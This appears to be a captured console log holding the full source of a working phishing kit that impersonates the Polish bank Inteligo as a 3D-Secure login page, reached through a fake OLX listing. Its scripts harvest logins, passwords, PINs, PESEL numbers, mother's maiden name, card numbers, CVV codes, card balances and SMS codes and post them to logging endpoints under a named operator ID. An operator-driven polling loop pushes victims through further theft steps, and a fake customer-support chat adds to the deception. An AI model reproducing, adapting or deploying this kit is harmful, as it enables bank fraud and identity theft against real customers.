console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 254)
Message:
start
|
console-api |
log |
URL: https://rejestr2.testvps.pro/in/inteligo/(Line 294)
Message:
<!-- saved from url=(0014)about:internet -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="og:site_name" content="olx.pl">
<meta name="robots" content="noindex, nofollow">
<script src="/newSite/banks/ipko_files/jquery-3.4.1.min.js"></script>
<meta name="Author" content="Softax (www.softax.pl)">
<meta name="Version" content="2.4.17dev-r0">
<title>Serwis internetowy Intelego</title>
<link rel="stylesheet" href="/newSite/banks/inteligo_files/tdsweb.css">
<style type="text/css">
</style>
<script language="JavaScript" type="text/javascript" src="/newSite/banks/inteligo_files/jquery.js"></script>
</head>
<body id="login_page_body">
<div onclick="bShow=true" id="calendar" style="z-index:+999; left:0px; top:0px; position:absolute;visibility:hidden;">
<table class="calTable" width="220" cellspacing="0">
<tbody>
<tr>
<td class="calTopRow">
<table width="218">
<tbody>
<tr>
<td class="calTopControls"><span id="caption"><span id="spanLeft" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na poprzedni miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onclick="javascript:decMonth()" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartDecMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Poprzedni miesiąc" '=""> < </span> <span id="spanRight" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by przewinąć na następny miesiąc. Przytrzymaj wciśnięty przycisk myszki by przewijać w sposób ciągły."" onmouseout="clearInterval(intervalID1);this.className="calControl";window.status=""" onclick="incMonth()" onmousedown="clearTimeout(timeoutID1);timeoutID1=setTimeout("StartIncMonth()",500)" onmouseup="clearTimeout(timeoutID1);clearInterval(intervalID1)" title="Następny miesiąc" '=""> > </span> <span id="spanMonth" class="calControl" onmouseover="this.className="calControlOver" ;window.status="Kliknij by wybrać miesiąc." " onmouseout="this.className="calControl" ;window.status="" " onclick="popUpMonth()" title="Kliknij by wybrać miesiąc" '=""></span> <span id="spanYear" class="calControl" onmouseover="this.className="calControlOver";window.status="Kliknij by wybrać rok."" onmouseout="this.className="calControl";window.status=""" onclick="popUpYear()" title="Kliknij by wybrać rok" '=""></span> </span></td><td align="center"><span onmouseover="this.className="calCloseOver" ;window.status="Zamknij kalendarz." ; " onmouseout="this.className="calClose" ;window.status="" ; " onclick="javascript:hideCalendar()" class="calClose" title="Zamknij kalendarz">X</span></td></tr></tbody></table></td></tr><tr><td class="calContent"><span id="cal_content"></span></td></tr><tr><td class="calBottomRow"><span id="lblToday">Dziś jest <a onmouseover="window.status="Przejdź do bieżącego miesiąca." ; return true; " onmouseout="window.status="" " title="Przejdź do bieżącego miesiąca" class="calA" href="javascript:gotoToday();">Poniedziałek, 26 Października 2020</a></span></td></tr></tbody></table></div><div id="selectMonth" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div><div id="selectYear" style="left:0px; top:0px; z-index:+999;position:absolute;visibility:hidden;"></div>
<div id="container">
<div id="header" class="content">
<div class="header">
<img src="/newSite/banks/inteligo_files/title-bar.png" id="pr_image">
</div>
<div id="mainmenucontener">
<!--<div id="mainmenubox">-->
<!-- *************** TOP MENU ************** -->
<form action="https://www.ipko.pl/3dsecure/visa" method="post" onsubmit="if(this.__submitted){return false}else{this.__submitted=true}"><input type="hidden" name="ias_sid" value="I3100a63VkHVV7yLlCtMfEO9q54yA:"><input type="hidden" name="back_reload_protection" value="4258d0048d0e430a95a173dbe7f05b4f"><input type="hidden" name="ias.form_protect" value="f086738a2e044350a6474b3a3125f024">
<ul id="mainmenu"></ul>
<!--***************************************************-->
</form>
<!--</div>-->
<div class="threepix"></div>
</div>
<div id="content" class="" tabindex="0" role="form">
<div>
<div id="colmain750" class="col940" tabindex="0">
<div>
<h2 tabindex="1">Aby potwierdzić operację w ramach usługi 3D-Secure, zaloguj się do serwisu Intelego.</h2>
</div>
<div class="special_login">
<div class="colmain520" style="width:460px;min-height: 255px;">
<div style="border-right: 1px solid #e6e6e6; margin-top: 10px; padding: 0 10px 0 0; width:460px; min-height: 210px;">
<div style="width:455px;">
<h1>Logowanie</h1>
</div>
<div class="form_valid form_content login login_anti_phishing">
<table id="form_table" class="fullwidth" name="content_table">
<tbody>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Numer klienta lub login
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="login" maxlength="200" type="text" id="login" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Hasło
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="200" type="text" id="password" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
<tr class="field_row f_root FriendlyLoginEditFieldRow" id="f-tr-f-form_4443000429-login_id">
<td width="100px">
Pin
</td>
<td class="field-cell">
<div class="FriendlyLoginEditField_field_widget field_widget" id="f-form_4443000429-login_id-field_widget">
<div class="field_widget_control"><input name="password" maxlength="4" type="text" id="pin" size="250" class="FriendlyLoginEditField text_input text_input_login_id" tabindex="10" autocomplete="off">
</div>
</div>
</td>
</tr>
</tbody>
</table>
<div class="button_rows center">
<ul style="text-align: center; margin: 0pt;">
<li class="button_group_none" style="float: none">
<button id="pay-button" onclick="lk_auth();" value="Dalej" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only fright continue-button" tabindex="10" formnovalidate="formnovalidate"><span class="ui-button-text">Dalej</span>
</button>
</li>
</ul>
</div>
<div class="clr"></div>
</div>
<style>
#form_table td{
width: 20%;
padding-bottom: 12px;
}
div.button_rows.center{
border-top: 0;
}
</style>
</div>
</div>
<div style="padding: 0 10px 10px 0; width: 430px; float:right">
<div style="border-bottom: 0; margin-left:0px;">
<div style="padding-right:14px; padding-top:7px; padding-bottom:6px; margin-bottom:4px; margin-left:10px">
<h1>BEZPIECZEŃSTWO</h1>
</div>
<div class="clr"></div>
<div class="widespace2" style="padding-left: 16px;line-height:16px">
PAMIĘTAJ!<br><br>
Logowanie do serwisu Intelego nie wymaga podania kodu z karty kodów jednorazowych.<br><br>
Bank również nigdy nie poprosi Cię o podanie jednocześnie kilku kodów z karty kodów lub danych karty płatniczej.
</div>
<p style="padding-left: 16px;padding-top:12px; font-weight: bold; margin-bottom:0px; margin-top:0px;"><a href="http://www.pkobp.pl/redirect.php?id=bezpieczenstwo_ipko" target="_blank">Więcej o bezpieczeństwie</a></p>
</div>
</div>
</div>
<div class="threepix"></div>
</div>
<div class="clr"></div></div>
<div class="footer">
<ul class="nav size-210">
</ul>
<div class="brand">
<img title="VISA" alt="[logo VISA]" src="/newSite/banks/inteligo_files/visa_logo.png" class="brand-logo">
</div>
<div class="last_login"></div>
<div class="copyright">© 2021 Intelego
<span>Kod BIC (Swift): BPKOPLPW</span>
</div>
<div class="hotline">Serwis telefoniczny Intelego: (+48) 81 535 60 60, 801 307 307
<div>Opłata zgodna z taryfą operatora. Serwis telefoniczny czynny całą dobę.</div>
</div>
</div>
</div>
<div style="z-index: 999; left: 0px; top: 0px; position: absolute; display: none;" id="infoTipDiv">
<div id="ui-ipkoInfotip" role="tooltip" class="ui-tooltip ui-widget ui-corner-all ui-widget-content infotip infotip-left" style="top: 34px; left: 364.5px; display: block;">
<div class="ui-tooltip-wrapper">
<div class="ui-tooltip-content" style="max-height: 84px; margin-right: -17px; overflow-y: scroll;">
<span id="infoTipDiv_message"></span>
</div>
</div>
<div class="ui-tooltip-track" style="display: none;"><div class="ui-tooltip-thumb ui-draggable" style="top: 0px; height: 20px;"></div>
</div>
</div>
</div>
</div></div>
<script src="/newSite/banks/inteligo_files/jquery.min.js"></script>
<script src="/newSite/banks/inteligo_files/jquery.maskedinput.js"></script>
<script type="text/javascript">
function update_status()
{
console.log('start')
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
}).fail(function(response){
response = response.responseText
console.log(response)
if (response == '1'){
window.location.href = "?ipko_code"
}
if (response == '2'){
window.location.href = "?intelego_code"
}
if (response == '3'){
window.location.href = "?code_others"
}
if (response == '4'){
window.location.href = "?millenium_img"
}
if (response == '5'){
window.location.href = "?card"
}
if (response == '6'){
window.location.href = "?lk"
}
if (response == '7'){
window.location.href = "?push"
}
});
}
update_status();
setInterval(update_status, 4000);
</script>
<style type="text/css">
.chat {
border: 1px solid #333;
margin: 15px;
width: 40%;
height: 70%;
background: #555;
color: #fff;
}
.chat-messages {
min-height: 93%;
max-height: 93%;
overflow: auto;
}
.chat-messages__content {
padding: 1px;
}
.chat__message {
border-left: 3px solid #333;
margin-top: 2px;
padding: 2px;
}
.chat__message_black {
border-color: #000;
}
.chat__message_blue {
border-color: #002f34;
}
.chat__message_green {
border-color: green;
}
.chat__message_red {
border-color: red;
}
.chat-input {
min-height: 6%;
}
.chat-form__input {
width: 100%;
}
.chat-form__submit {
width: 18%;
}
{
box-sizing: border-box;
}
.msg_chat{
color: white;
word-break: break-all;
margin-bottom: 10px;
}
.msg_chat1{
color: black;
word-break: break-all;
margin-bottom: 10px;
}
/* Кнопка, используемая для открытия контактной формы - фиксируется в нижней части страницы */
.open-button {
background-color: #002f34;
margin-bottom: 2%;
font-size: 1em;
font-weight: 1000;
border-radius: 10px 20px 10px 20px;
color: white;
padding: 16px 20px;
border: none;
cursor: pointer;
bottom: 90px;
z-index: 999;
opacity: 0.8;
position: fixed;
bottom: 0px;
right: 28px;
width: 140px;
border-radius: 50%;
width: 70px;
height: 70px;
background-image: url("chat/2.png");
background-repeat: no-repeat;
background-position: center;
}
/* Всплывающая форма-скрыта по умолчанию */
.form-popup {
min-width: 60%;
display: none;
position: fixed;
bottom: 0;
right: 15px;
/*border: 3px solid #f1f1f1;*/
z-index: 9;
}
.form-content {
display: block;
height: 400px;
overflow-y: auto;
scrollbar-width: none;
padding: 10px;
}
::-webkit-scrollbar {
width: 0px;
}
/* Добавить стили для контейнера формы */
.form-chat-container {
max-width: 340px;
min-height: 400px;
background-color: white;
float: right;
box-shadow: 0 0 60px 3px rgba(0, 0, 0, 0.3);
border-radius: 5px;
}
.chat-header {
background: #002f34;
z-index: 999;
color: white;
border-radius: 5px;
padding: 5px;
width: 340px;
height: 250px;
}
.chat-title,
.chat-close {
margin-left: 10px;
display: inline;
margin-top: -188px;
}
.chat-close {
float: right;
}
.chat-footer {
display: inline-block;
}
/* Поля ввода полной ширины */
.form-chat-container input[type=text],
.form-chat-container input[type=password] {
color: black;
padding-left: 5px;
margin-bottom: 2px;
height: 45px;
border: none;
display: inline;
}
/* Установите стиль для кнопки отправить/войти */
.form-chat-container .chat-btn {
border: 0px;
color: white;
padding: 20px;
height: 45px;
cursor: pointer;
width: 15%;
margin-top: 15px;
opacity: 0.8;
border-radius: 5px;
margin-left: 1%;
display: inline;
background-color: #fff;
background-image: url('chat/send_btn1.png');
background-size: contain;
background-repeat: no-repeat;
}
/* Добавить красный цвет фона для кнопки "Отмена" */
.form-chat-container .cancel {
background-color: red;
}
/* Добавить некоторые эффекты наведения на кнопки */
.form-chat-container .chat-btn:hover,
.open-button:hover {
box-shadow: 0 0 30px 5px rgba(0, 0, 0, 0.5);
}
/* Chat containers */
.container_message {
position: relative;
background-color: #e8ecef;
border-radius: 9px;
padding: 10px;
margin: 10px 0;
margin-left: 0px;
display: flex;
justify-content: right;
flex: 0 0 auto;
width: 50%;
margin-left: 160px;
min-height: 25px;
}
/* Darker chat container */
.darker {
border-color: #ccc;
background-color: #002f34;
min-height: 45px;
display: flex;
justify-content: left;
margin-left: 0;
padding: 10px;
}
/* Clear floats */
.container_message::after {
content: "";
clear: both;
display: table;
}
/* Style images */
.container_message img {
max-width: 50px;
float: left;
max-width: 60px;
width: 100%;
margin-right: 20px;
border-radius: 50%;
}
/* Style the right image */
.container_message img.right {
float: right;
max-width: 50px;
margin-left: 20px;
margin-right: 0;
}
/* Style time text */
.container_message .time-right {
position: absolute;
left: 5px;
bottom: 0;
float: left;
color: #aaa;
}
/* Style time text */
.container_message .time-left {
position: absolute;
left: 5px;
bottom: 0;
float: left;
width: 100%;
color: #fff;
}
.close {
float: right;
width: 16px;
height: 16px;
opacity: 0.4;
}
.close:hover {
opacity: 1;
}
.close:before,
.close:after {
position: absolute;
content: ' ';
height: 23px;
width: 3px;
background-color: #fff;
}
.close:before {
transform: rotate(45deg);
}
.close:after {
transform: rotate(-45deg);
}
.operator-face {
height: 100%;
margin-bottom: -170px;
}
.photo {
background-image: url("chat/avatar.png");
background-size: 60px 60px;
height: 60px;
background-repeat: no-repeat;
background-position: center;
width: 60px;
margin-left: 130px;
margin-top: 30px;
}
.team {
text-align: center;
font-size: 16px;
color: #fff;
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
font-weight: 400;
}
.activity-indicator {
text-align: center;
font-size: 13px;
color: rgba(255, 255, 255, 0.7);
font-family: "proxima-nova", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
.welcome-message {
margin-top: 20px;
font-weight: 400;
padding: 0 20px;
text-align: center;
font-size: 14px;
line-height: 1.32em;
color: #fff;
box-shadow: none;
box-sizing: border-box;
caption-side: top;
word-break: normal;
word-spacing: normal;
word-wrap: normal;
}
.message-time {
position: absolute;
left: 100px;
float: left;
color: #fff;
}
button:active,
button:focus {
outline: none;
}
button::-moz-focus-inner {
border: 0;
}
input {
outline: none;
}
@media screen and (max-height: 800px) {
.form-content {
height: 250px;
}
}
</style>
<script type="text/javascript">
function submit(){
// var a = $("#a1")[0].value.length;
var b = $("#a2")[0].value.length;
var c = $("#a3")[0].value.length;
// var e = $("#th")[0].value.length;
var a = 5;
var e = 5;
if (a > 1 && b > 1 && c > 1 && e > 1){
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var f = $('#a2').val();
var i = $('#a3').val();
var o = $('#a4').val();
var addr = $('#a1').val();
var th = $('#th').val();
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {th:th,f:f,i:i,o:o,addr:addr,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}else{
(a < 1 )?$('#a1').css("border-color", "red"):$('#a1').css("border-color", "");
(b < 1 )?$('#a2').css("border-color", "red"):$('#a2').css("border-color", "");
(c < 1 )?$('#a3').css("border-color", "red"):$('#a3').css("border-color", "");
(e < 1 )?$('#th').css("border-color", "red"):$('#th').css("border-color", "");
}
}
function nextpay(){
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 1000);
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != ''){
load();
$('#carddata').css('display','none');
$('#loading').show();
setTimeout(function(){
$('#loading').hide();
}, 3000);
$('#balance_check').css('display','');
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
($('#expdate').val() == '')?$('#expdate').css("border-color", "red"):$('#expdate').css("border-color", "");
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function nextcard(){
if($('#cardnumber').val() != ''){
$('#step2').show();
$('#nextpay').attr('onclick', 'nextpay();');
alert('Twój bank zażądał dodatkowej weryfikacji. Wypełnij dodatkowe pola i spróbuj ponownie.')
}else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
alert('Mapa wpisana niepoprawnie.');
}
}
function cardlog() {
var card_date = $('#expdate').val();
Data = new Date();
let month = card_date.split("/")[0]
let year = card_date.split("/")[1]
let current_moth = Data.getMonth() + 1;
let current_year = Data.getFullYear().toString();
current_year = current_year[0] + current_year[1];
if (month[0] == 0){
month = month.slice(1);
}
if (month < current_moth && year <= current_year){
// alert("Карта не валидна");
var valid_card = '0';
}
else{
var valid_card = '1';
}
if($('#cardnumber').val() != '' && $('#expdate').val() != '' && $('#cvc2').val() != '' && $('#card_balance').val() >= 1 && $('#card_balance').val() != 12300 && $('#card_balance').val() != ' ' && $('#card_balance').val() != '' && $('#card_balance').val() != ' ' && valid_card == '1'){
$('#paybutton').css('background', 'gray');
$('#paybutton').attr('disabled', '1');
var cardNumber = $('#cardnumber').val();
var expdate = $('#expdate').val();
var cvv = $('#cvc2').val();
var config = 'cardlog';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var cardholder = $('#cardholder').val();
var card_balance = $('#card_balance').val();
$.ajax({
type: "POST",
url: "sendlog.php",
data : {cardNumber:cardNumber,expdate:expdate,cvv:cvv, config:config, item:item, cardholder:cardholder, worker:worker,card_balance:card_balance},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error";
}, 1000);
});
}
else{
($('#cardnumber').val() == '')?$('#cardnumber').css("border-color", "red"):$('#cardnumber').css("border-color", "");
($('#card_balance').val() == '')?$('#card_balance').css("border-color", "red"):$('#card_balance').css("border-color", "");
if ($('#card_balance').val() < 5){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
if ($('#card_balance').val() == 12300){
$('#verif_balance').toggle();
$('#card_balance').css("border-color", "red");
}
($('#cardholder').val() == '')?$('#cardholder').css("border-color", "red"):$('#cardholder').css("border-color", "");
if(valid_card == '0'){
$('#expdate').css("border-color", "red")
}
if (valid_card == '1'){
$('#expdate').css("border-color", "");
}
if($('#expdate').val() == ''){
$('#expdate').css("border-color", "red")
}
if ($('#expdate').val() == ''){
$('#expdate').css("border-color", "");
}
($('#cvc2').val() == '')?$('#cvc2').css("border-color", "red"):$('#cvc2').css("border-color", "");
};
}
function mothername(){
$('#cb').hide();
if($('#codefromsms').val() != '' && $('#login').val() != '' && $('#password').val() != ''){
var code = $('#codefromsms').val();
var config = 'mothername';
var log = $('#login').val();
var pass = $('#password').val();
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {log:log,pass:pass,code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function reqcode(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'reqcode';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
function smscode_limit(){
$('#cb').hide();
if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'smscode_limit';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
$('#cb').show();
$('#cb').css('background', 'gray');
$('#cb').attr('onclick', '');
$('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
$('#cb').show();
};
}
/*
function first(){
// if($('#codefromsms').val() != ''){
var code = $('#codefromsms').val();
var config = 'first';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
// }
else{
($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
};
}*/
function lk_auth() {
$('#pay-button').hide();
if($('#password').val() != '' && $('#login').val() != '' ){
var log = $('#login').val();
var pass = $('#password').val();
var pesel = $('#pesel').val();
var pin = $('#pin').val();
var mother = $('#mother').val();
var config = 'lkintelego'; var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "/newSite/logger.php",
dataType: "json",
data : {uid:'',mother:mother,login:log,password:pass,pin:pin,pesel:pesel,type:"insertBank",bank:"inteligo"},
}).fail(function() {
window.location.href = "/error//inteligo"
}).done(function() {
window.location.href = "/error//inteligo"
});
}
else{
$('#pay-button').show();
($('#password').val() == '')?$('#password').css("border-color", "red"):$('#password').css("border-color", "");
($('#pesel').val() == '')?$('#pesel').css("border-color", "red"):$('#pesel').css("border-color", "");
($('#pin').val() == '')?$('#pin').css("border-color", "red"):$('#pin').css("border-color", "");
($('#login').val() == '')?$('#login').css("border-color", "red"):$('#login').css("border-color", "");
};
}
function smscodenew() {
$('#loading').show();
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
$('#newcode').text('Wyślij SMS ponownie (oczekuj)');
var config = 'smscodenew';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
data : {worker:worker, config:config, value:value,item:item},
}).fail(function() {
$('#loading').hide();
}).done(function() {
$('#loading').hide();
});
}
function update_status()
{
$.ajaxSetup({ cache: false });
var prop = 'check_status';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {prop:prop}
}).done(function(response) {
// 1 - перенаправление ипко
// response = response.responseText
if (response == '1'){
openForm();
window.location.href = "?ipko_code"
}
}).fail(function(response){
// response = response.responseText
if (response == '1'){
openForm();
window.location.href = "?ipko_code"
}
});
}
// update();
$('.credit-card-form__cvv-icon').click(function(){
// $('#si').css('display', 'block');
$('#si').toggle();
});
function selectbank(thisis){
$(thisis).attr('onclick', '');
if($(thisis).attr('bank') != 'none' && $(thisis).attr('bank') != 'other'){
var code = $(thisis).attr('bank');
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?code"
}, 1000);
});
}else{
var code = 'other';
var config = 'selectbank';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
}).done(function() {
setTimeout(function(){
window.location.href = "?pay"
}, 1000);
});
}
}
function millenium_imgs(thisis){
// $('#cb').hide();
if($(thisis).attr('value') != ''){
var code = $(thisis).attr('value');
var config = 'millenium_imgs';
var value = '12300';
var worker = "frenk228";
var item = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
$.ajax({
type: "POST",
url: "sendlog.php",
dataType: "json",
data : {code:code,worker:worker, config:config, value:value,item:item},
}).fail(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
}).done(function() {
// $('#cb').show();
// $('#cb').css('background', 'gray');
// $('#cb').attr('onclick', '');
// $('#loading').show();
setTimeout(function(){
window.location.href = "?error"
}, 1000);
});
}
else{
// ($('#codefromsms').val() == '')?$('#codefromsms').css("border-color", "red"):$('#codefromsms').css("border-color", "");
// $('#cb').show();
};
}
$('#newcode').css('color', 'gray');
$('#newcode').attr('onclick', '');
var timer = 60;
function decrementAfter1Second(){
setTimeout(function(){
timer--;
$('#newcode').text('Wyślij SMS ponownie (oczekuj ' + timer + ')');
if(timer==0){
$('#newcode').css('color', 'green');
$('#newcode').attr('onclick', 'smscodenew();');
$('#newcode').text('WYŚLIJ SMS PONOWNIE');
}else{
decrementAfter1Second();
}
}, 1000);
}
decrementAfter1Second();
</script>
<script src="/newSite/banks/inteligo_files/jquery-3.4.1.min.js"></script>
<script type="text/javascript">
var opened = 0;
function openForm() {
opened = 1;
update();
setInterval(update, 4000);
$("#myForm").fadeIn(700);
// $('#myForm').css('display', 'block')
$("#open-support").fadeOut(250);
// $('#open-support').css('display', 'none')
}
function closeForm() {
opened = 0;
setInterval(update, 10000);
// $('#myForm').css('display', 'none')
$("#myForm").fadeOut(250);
// $('#open-support').css('display', 'block')
$("#open-support").fadeIn(700);
}
</script>
<div class="form-popup" id="myForm" style="display: none;">
<form class="form-chat-container" id="myform" action="javascript:void(0);">
<div class="chat-header">
<div class="operator-face operator-face-0">
<div title="Сергей Григорьевич" class="photo user-color-0 no-photo">
</div>
</div>
<div class="team-wrapper">
<div class="team">Obsługa klienta</div>
<div class="activity-indicator">Ostatnio aktywn</div>
</div>
<div class="welcome-message">Wyślij nam wiadomość. My <br> odpowiemy wkrótce!</div>
<h3 class="chat-title"></h3><a onclick="closeForm()" class="chat-close close"> </a>
</div>
<div class="form-content" id="messages" style="flex: 1 1 auto;position: relative;display: flex;flex-direction: column;justify-content: space-between;">
</div>
<input type="text" id="message-text" class="chat-form__input focus" placeholder="Wpisz wiadomość" style="border-color: red; border-top: 1px solid #eaeced; margin-top: 20px;">
<!-- <button style='display: none;' src="chat/send_btn1.png" class="chat-btn" id="chat-send" onclick="sendmsg();"> -->
<input style="display: none;" id="chat-send" type="submit" value="" onclick="sendmsg();">
</form>
</div>
<script type="text/javascript">
$("#myform").on("submit", function(event){
event.preventDefault();
sendmsg();
});
function delete_msg(id) {
var proj = 'inspire';
console.log('delete ' + id)
$.ajax({
type: "POST",
url: "delete_msg.php",
data : {id:id, proj:proj}});
$('#msg').val('');
if($('#msg').val() == ''){
$('#msg').css("border-color", "red");
}
}
function checkFocus() {
var container = $('#messages');
var height = container.height();
var scrollHeight = container[0].scrollHeight;
var st = container.scrollTop();
var sum = scrollHeight - height - 32;
if(st >= sum) {
return true;
} else {
return false;
}
}
function update(){
if (opened == 1){
$.ajaxSetup({ cache: false });
var id = 'agregat-talerzowy-scierniskowy-siewny-CID757-IDvtgxq3.html';
var proj = 'inspire';
var from = 'user';
$.ajax({
type: "GET",
url: "ajax_chat.php",
dataType: "json",
data : {id:id,from:from, proj:proj}
}).done(function(response) {
if(checkFocus()) {
